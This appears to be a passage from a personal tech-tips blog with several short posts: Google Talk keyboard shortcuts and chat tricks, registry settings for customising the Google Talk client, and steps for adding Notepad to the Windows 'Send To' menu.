* Ctrl + 5 (KeyPad) - A space does 1.5 between the lines.
* Ctrl + 1 (NumPad) - It goes at the end of the last line.
* Ctrl + 7 (NumPad) - It goes at the begin of the last line.
* Ctrl + F4 - It closes the current window.
* Alt + F4 - It closes the current window.
* Alt + Esc - It Minimize all the windows.
* Windows + ESC - Open Google Talk (if it's minimized, or in the tray)
* F9 - Open Gmail to send an email to the current contact.
* F11 - It initiates a telephonic call with your friend.
* F12 - It cancels a telephonic call.
* Esc - It closes the current window.

!!!!!! ENJOY !!!!!!

posted under Google, Windows | 0 Comments

Some Tips & Tricks About Google talk

Google Talk Contd......

Here are some Tips which you might require while using Google Talk :-

# Wumpus Game : - First noted by a GoogleRumors commentor, if you add the buddy wumpus.game@gmail.com you can play the classic text-based game. Wumpus is an easter egg game that came with Google Talk (unfortunately, he didn't’t accept my invitation, so I can’t play).

# Change the font size - While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.

# Insert line breaks - If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

# Bold Text - To write something bold, you can use an asterisk before and after the word, like *this* .

# Italic Text - To use italics, use an underscore before an after the word, like _this_ .

# Switch windows - Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM's and don't care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

# Invitation Tips - You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).

# Show Hyperlinks - You can show your homepage or blog URL simply by entering the it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

!!!!!! ENJOY !!!!!!

posted under Google, Windows | 0 Comments

Registry Tweaks for Google Talk

With Google Talk being all the craze right now, some people hating it, and others loving it, I figured that I would post a list of tips and tricks for those curious about the extra "features" Google implemented and has not said much about.

You can edit most settings by opening regedit (start -> regedit),
and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.

The "Google/Google Talk" key has several sub-keys that hold different option values:

Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.

Autoupdate: Stores the current version information. When the client checks for updates it compares Google's response with these values. If an update is needed, it will download and update the new version.

Options: This is the most interesting part, where most of the current hacks should be used (keep reading).

Process: Stores the process ID. Probably used by Google Talk to detect if it's already running or not.

1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a "pin" next to the minimize button that keeps the windows on top of all the other open windows when clicked.

2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown

3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.

4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.

5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.

NOTE :- If the following sub-key is not present in the list then Right Click in empty space, New-> Binary Value and Name it to the given value & set its value.

!!!!!!ENJOY!!!!!!

posted under Google, Windows | 0 Comments

"Send to" Shortcut for Notepad

A "Send To" shortcut is one that when you right-click on a file or folder, you'll see an option called "Send To". This provides you a quick way to open files/folders or perform an action with the selected file/folder.

Many times, you have a text file or any other file which you know exactly contains just plain text. And the file can be viewed just by notepad - The most simple Windows Text Editor, available on any Windows machine. If you are in this situation often, you might have found that it is painful that you'll have to launch Notepad everytime and browse to the file to open it. A simple shortcut would be very helpful.

Here are the steps you need to follow :-

1. Point your mouse to the "Start" button and right-click. This will bring up a shortcut menu.
2. Select "Explore" to open the "Windows Explorer". Once the "Windows Explorer" is opened, the default path is your own profile "Start Menu".
3. Select "SendTo" right above the "Start Menu". The right panel should display the current Send To shortcuts.
4. Right-click on the right panel, and select "New" then select "Shortcut".
5. On the "Create Shortcut" window, type in "notepad.exe" for the box "Type the location of the item", then click "Next".
6. On the next window, type in "Notepad" for the box "Type a name for this shortcut", then click "Finish".
7. Done! try this new thing out by selecting a text file, right-click on it and select "Send To". You'll see the option "Notepad" there, which will open the text file with Notepad.

!!!!!! ENJOY !!!!!!

posted under Windows | 0 Comments